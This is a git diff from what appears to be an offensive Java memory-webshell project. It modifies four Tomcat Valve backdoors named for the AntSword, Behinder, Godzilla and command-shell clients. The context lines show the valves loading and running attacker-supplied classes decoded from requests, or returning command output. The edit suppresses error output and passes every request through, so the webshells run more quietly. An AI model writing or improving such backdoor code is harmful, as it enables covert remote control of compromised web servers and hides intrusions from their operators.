diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java index d4bbbd58..74f121b5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java @@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve { byte[] bytes = base64Decode(request.getParameter(pass)); Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index 722ab4c5..4f884242 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve { byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance(); instance.equals(obj); - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } public HttpServletResponse getInternalResponse(HttpServletResponse response) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 2f13167e..8c97e555 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -52,11 +52,10 @@ public class CommandValve implements Valve { while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length); } - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 5006a0d8..5a626b88 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve { response.getWriter().write(md5.substring(16)); response.flushBuffer(); } - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } \ No newline at end of file